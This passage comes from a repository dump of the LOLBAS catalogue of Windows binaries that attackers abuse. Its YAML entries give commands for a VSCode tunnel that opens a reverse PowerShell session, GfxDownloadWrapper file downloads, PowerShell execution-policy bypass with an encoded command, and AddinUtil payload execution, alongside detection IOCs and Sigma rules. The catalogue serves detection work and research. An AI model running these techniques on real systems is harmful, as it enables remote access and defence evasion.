community and we would like to thank ours:\n\n* The domain http://lolbins.com has been registered by an unknown individual and redirected it to the old version of this project.\n* The domain http://lolbas-project.com has been registered by Jimmy (@bohops).\n* The logos for the project were created by Adam Nadrowski (@_sup_mane). We #@&!!@#! love them.\n\n## Notice\n\n* Please refer to NOTICE.md for license information\n" }, { "path": "YML-Template.yml", "content": "---\nName: Binary.exe\nDescription: Something general about the binary\nAliases: # Optional field if any common aliases exist of the binary with nearly the same functionality,\n - Alias: Binary64.exe # but for example, is built for different architecture.\nAuthor: The name of the person that created this file\nCreated: 1970-01-01 # YYYY-MM-DD (date the person created this file)\nCommands:\n - Command: The command\n Description: Description of the command\n Usecase: A description of the usecase\n Category: Execute\n Privileges: Required privs\n MitreID: T1055\n OperatingSystem: Windows 10 1803, Windows 10 1703\n Tags:\n - Key1: Value1 # Optional field for one or more tags\n - Command: The second command\n Description: Description of the second command\n Usecase: A description of the usecase\n Category: AWL Bypass\n Privileges: Required privs\n MitreID: T1033\n OperatingSystem: Windows 10 All\nFull_Path:\n - Path: c:\\windows\\system32\\bin.exe\n - Path: c:\\windows\\syswow64\\bin.exe\nCode_Sample:\n - Code: http://example.com/git.txt\nDetection:\n - IOC: Event ID 10\n - IOC: binary.exe spawned\n - Analysis: https://example.com/to/blog/gist/writeup/if/applicable\n - Sigma: https://example.com/to/sigma/rule/if/applicable\n - Elastic: https://example.com/to/elastic/rule/if/applicable\n - Splunk: https://example.com/to/splunk/rule/if/applicable\n - BlockRule: https://example.com/to/microsoft/block/rules/if/applicable\nResources:\n - Link: http://blogpost.com\n - Link: http://twitter.com/something\n - Link: http://example.com/Threatintelreport\nAcknowledgement:\n - Person: John Doe\n Handle: '@johndoe'\n - Person: Ola Norman\n Handle: '@olaNor'\n" }, { "path": "yml/HonorableMentions/Code.yml", "content": "---\nName: code.exe\nDescription: VSCode binary, also portable (CLI) version\nAuthor: PfiatDe\nCreated: 2023-02-01\nCommands:\n - Command: code.exe tunnel --accept-server-license-terms --name \"tunnel-name\"\n Description: Starts a reverse PowerShell connection over global.rel.tunnels.api.visualstudio.com via websockets; command\n Usecase: Reverse PowerShell session over MS provided infrastructure.\n Category: Execute\n Privileges: User\n MitreID: T1219.001\n OperatingSystem: Windows 10, Windows 11\nFull_Path:\n - Path: 'C:\\Users\\\\AppData\\Local\\Programs\\Microsoft VS Code\\Code.exe'\n - Path: C:\\Program Files\\Microsoft VS Code\\Code.exe\n - Path: C:\\Program Files (x86)\\Microsoft VS Code\\Code.exe\nDetection:\n - IOC: Websocket traffic to global.rel.tunnels.api.visualstudio.com\n - IOC: 'Process tree: code.exe -> cmd.exe -> node.exe -> winpty-agent.exe'\n - IOC: 'File write of code_tunnel.json which is parametizable, but defaults to: %UserProfile%\\.vscode-cli\\code_tunnel.json'\nResources:\n - Link: https://badoption.eu/blog/2023/01/31/code_c2.html\n - Link: https://code.visualstudio.com/docs/remote/tunnels\n - Link: https://code.visualstudio.com/blogs/2022/12/07/remote-even-better\n" }, { "path": "yml/HonorableMentions/GfxDownloadWrapper.yml", "content": "---\nName: GfxDownloadWrapper.exe\nDescription: Remote file download used by the Intel Graphics Control Panel, receives as first parameter a URL and a destination file path.\nAuthor: Jesus Galvez\nCreated: 2019-12-27\nCommands:\n - Command: C:\\Windows\\System32\\DriverStore\\FileRepository\\igdlh64.inf_amd64_[0-9]+\\GfxDownloadWrapper.exe \"URL\" \"DESTINATION FILE\"\n Description: GfxDownloadWrapper.exe downloads the content that returns URL and writes it to the file DESTINATION FILE PATH. The binary is signed by \"Microsoft Windows Hardware\", \"Compatibility Publisher\", \"Microsoft Windows Third Party Component CA 2012\", \"Microsoft Time-Stamp PCA 2010\", \"Microsoft Time-Stamp Service\".\n Usecase: Download file from internet\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10\nFull_Path:\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\64kb6472.inf_amd64_3daef03bbe98572b\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_comp.inf_amd64_0e9c57ae3396e055\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_comp.inf_amd64_209bd95d56b1ac2d\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_comp.inf_amd64_3fa2a843f8b7f16d\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_comp.inf_amd64_85c860f05274baa0\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_comp.inf_amd64_f7412e3e3404de80\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_comp.inf_amd64_feb9f1cf05b0de58\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_component.inf_amd64_0219cc1c7085a93f\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_component.inf_amd64_df4f60b1cae9b14a\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dc_comp.inf_amd64_16eb18b0e2526e57\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dc_comp.inf_amd64_1c77f1231c19bc72\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dc_comp.inf_amd64_31c60cc38cfcca28\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dc_comp.inf_amd64_82f69cea8b2d928f\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dc_comp.inf_amd64_b4d94f3e41ceb839\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_0606619cc97463de\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_0e95edab338ad669\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_22aac1442d387216\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_2461d914696db722\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_29d727269a34edf5\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_2caf76dbce56546d\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_353320edb98da643\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_4ea0ed0af1507894\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_56a48f4f1c2da7a7\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_64f23fdadb76a511\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_668dd0c6d3f9fa0e\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_6be8e5b7f731a6e5\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_6dad7e4e9a8fa889\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_6df442103a1937a4\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_767e7683f9ad126c\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_8644298f665a12c4\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_868acf86149aef5d\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_92cf9d9d84f1d3db\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_93239c65f222d453\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_9de8154b682af864\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_a7428663aca90897\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_ad7cb5e55a410add\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_afbf41cf8ab202d7\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_d193c96475eaa96e\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_db953c52208ada71\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_e7523682cc7528cc\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_e9f341319ca84274\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_f3a64c75ee4defb7\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch.inf_amd64_f51939e52b944f4b\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch_comp.inf_amd64_4938423c9b9639d7\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch_comp.inf_amd64_c8e108d4a62c59d5\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\cui_dch_comp.inf_amd64_deecec7d232ced2b\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_01ee1299f4982efe\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_02edfc87000937e4\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_0541b698fc6e40b0\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_0707757077710fff\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_0b3e3ed3ace9602a\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_0cff362f9dff4228\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_16ed7d82b93e4f68\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_1a33d2f73651d989\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_1aca2a92a37fce23\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_1af2dd3e4df5fd61\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_1d571527c7083952\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_23f7302c2b9ee813\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_24de78387e6208e4\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_250db833a1cd577e\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_25e7c5a58c052bc5\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_28d80681d3523b1c\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_2dda3b1147a3a572\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_31ba00ea6900d67d\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_329877a66f240808\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_42af9f4718aa1395\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_4645af5c659ae51a\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_48c2e68e54c92258\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_48e7e903a369eae2\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_491d20003583dabe\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_4b34c18659561116\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_51ce968bf19942c2\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_555cfc07a674ecdd\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_561bd21d54545ed3\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_579a75f602cc2dce\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_57f66a4f0a97f1a3\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_587befb80671fb38\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_62f096fe77e085c0\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_6ae0ddbb4a38e23c\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_6bb02522ea3fdb0d\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_6d34ac0763025a06\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_712b6a0adbaabc0a\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_78b09d9681a2400f\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_842874489af34daa\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_88084eb1fe7cebc3\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_89033455cb08186f\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_8a9535cd18c90bc3\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_8c1fc948b5a01c52\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_9088b61921a6ff9f\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_90f68cd0dc48b625\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_95cb371d046d4b4c\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_a58de0cf5f3e9dca\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_abe9d37302f8b1ae\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_acb3edda7b82982f\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_aebc5a8535dd3184\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_b5d4c82c67b39358\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_b846bbf1e81ea3cf\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_babb2e8b8072ff3b\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_bc75cebf5edbbc50\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_be91293cf20d4372\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_c11f4d5f0bc4c592\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_c4e5173126d31cf0\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_c4f600ffe34acc7b\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_c8634ed19e331cda\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_c9081e50bcffa972\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_ceddadac8a2b489e\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_d4406f0ad6ec2581\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_d5877a2e0e6374b6\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_d8ca5f86add535ef\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_e8abe176c7b553b5\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_eabb3ac2c517211f\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_f8d8be8fea71e1a0\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_fe5e116bb07c0629\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64.inf_amd64_fe73d2ebaa05fb95\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\igdlh64_kbl_kit127397.inf_amd64_e1da8ee9e92ccadb\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\k127153.inf_amd64_364f43f2a27f7bd7\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\k127153.inf_amd64_3f3936d8dec668b8\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\k127793.inf_amd64_3ab7883eddccbf0f\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki129523.inf_amd64_32947eecf8f3e231\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki126950.inf_amd64_fa7f56314967630d\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki126951.inf_amd64_94804e3918169543\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki126973.inf_amd64_06dde156632145e3\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki126974.inf_amd64_9168fc04b8275db9\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki127005.inf_amd64_753576c4406c1193\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki127018.inf_amd64_0f67ff47e9e30716\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki127021.inf_amd64_0d68af55c12c7c17\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki127171.inf_amd64_368f8c7337214025\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki127176.inf_amd64_86c658cabfb17c9c\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki127390.inf_amd64_e1ccb879ece8f084\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki127678.inf_amd64_8427d3a09f47dfc1\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki127727.inf_amd64_cf8e31692f82192e\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki127807.inf_amd64_fc915899816dbc5d\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki127850.inf_amd64_6ad8d99023b59fd5\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki128602.inf_amd64_6ff790822fd674ab\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki128916.inf_amd64_3509e1eb83b83cfb\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki129407.inf_amd64_f26f36ac54ce3076\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki129633.inf_amd64_d9b8af875f664a8c\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki129866.inf_amd64_e7cdca9882c16f55\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki130274.inf_amd64_bafd2440fa1ffdd6\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki130350.inf_amd64_696b7c6764071b63\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki130409.inf_amd64_0d8d61270dfb4560\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki130471.inf_amd64_26ad6921447aa568\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki130624.inf_amd64_d85487143eec5e1a\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki130825.inf_amd64_ee3ba427c553f15f\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki130871.inf_amd64_382f7c369d4bf777\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki131064.inf_amd64_5d13f27a9a9843fa\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki131176.inf_amd64_fb4fe914575fdd15\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki131191.inf_amd64_d668106cb6f2eae0\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki131622.inf_amd64_0058d71ace34db73\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki132032.inf_amd64_f29660d80998e019\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki132337.inf_amd64_223d6831ffa64ab1\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki132535.inf_amd64_7875dff189ab2fa2\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki132544.inf_amd64_b8c1f31373153db4\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki132574.inf_amd64_54c9b905b975ee55\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\ki132869.inf_amd64_052eb72d070df60f\\GfxDownloadWrapper.exe\n - Path: c:\\windows\\system32\\driverstore\\filerepository\\kit126731.inf_amd64_1905c9d5f38631d9\\GfxDownloadWrapper.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_gfxdownloadwrapper_file_download.yml\n - IOC: Usually GfxDownloadWrapper downloads a JSON file from https://gameplayapi.intel.com.\nResources:\n - Link: https://www.sothis.tech/author/jgalvez/\nAcknowledgement:\n - Person: Jesus Galvez\n Handle:\n" }, { "path": "yml/HonorableMentions/PowerShell.yml", "content": "---\nName: Powershell.exe\nDescription: Powershell.exe is a a task-based command-line shell built on .NET.\nAuthor: 'Everyone'\nCreated: 2024-04-03\nCommands:\n - Command: powershell.exe -ep bypass -file c:\\path\\to\\a\\script.ps1\n Description: Set the execution policy to bypass and execute a PowerShell script without warning\n Usecase: Execute PowerShell cmdlets, .NET code, and just about anything else your heart desires\n Category: Execute\n Privileges: User\n MitreID: T1059.001\n OperatingSystem: Windows 7 and up\n - Command: powershell.exe -ep bypass -command \"Invoke-AllTheThings...\"\n Description: Set the execution policy to bypass and execute a PowerShell command\n Usecase: Execute PowerShell cmdlets, .NET code, and just about anything else your heart desires\n Category: Execute\n Privileges: User\n MitreID: T1059.001\n OperatingSystem: Windows 7 and up\n - Command: powershell.exe -ep bypass -ec IgBXAGUAIAA8ADMAIABMAE8ATABCAEEAUwAiAA==\n Description: Set the execution policy to bypass and execute a very malicious PowerShell encoded command\n Usecase: Execute PowerShell cmdlets, .NET code, and just about anything else your heart desires\n Category: Execute\n Privileges: User\n MitreID: T1059.001\n OperatingSystem: Windows 7 and up\nFull_Path:\n - Path: 'C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe'\n - Path: 'C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe'\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/tree/71ae004b32bb3c7fb04714f8a051fc8e5edda68c/rules/windows/powershell\nResources:\n - Link: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1\n - Link: https://attack.mitre.org/techniques/T1059/001/\nAcknowledgement:\n - Person: Everyone\n Handle: '@alltheoffensivecyberers'\n" }, { "path": "yml/OSBinaries/Addinutil.yml", "content": "---\nName: AddinUtil.exe\nDescription: .NET Tool used for updating cache files for Microsoft Office Add-Ins.\nAuthor: 'Michael McKinley @MckinleyMike'\nCreated: 2023-10-05\nCommands:\n - Command: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddinUtil.exe -AddinRoot:.\n Description: AddinUtil is executed from the directory where the 'Addins.Store' payload exists, AddinUtil will execute the 'Addins.Store' payload.\n Usecase: Proxy execution of malicious serialized payload\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11\n Tags:\n - Execute: .NetObjects\nFull_Path:\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AddinUtil.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\AddinUtil.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework\\v3.5\\AddInUtil.exe\n - Path: C:\\Windows\\Microsoft.NET\\Framework64\\v3.5\\AddInUtil.exe\nCode_Sample:\n - Code: https://gist.github.com/SILJAEUROPA/a850d476179d73df230a876944e9f3b1#file-addins-store\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_addinutil_suspicious_cmdline.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_child_process.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_cmdline.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_dir_exec.yml\nResources:\n - Link: https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html\nAcknowledgement:\n - Person: Michael McKinley\n Handle: '@MckinleyMike'\n - Person: Tony Latteri\n Handle: '@TheLatteri'\n" }, { "path": "yml/OSBinaries/AppInstaller.yml", "content": "---\nName: AppInstaller.exe\nDescription: Tool used for installation of AppX/MSIX applications on Windows 10\nAuthor: 'Wade Hickey'\nCreated: 2020-12-02\nCommands:\n - Command: start 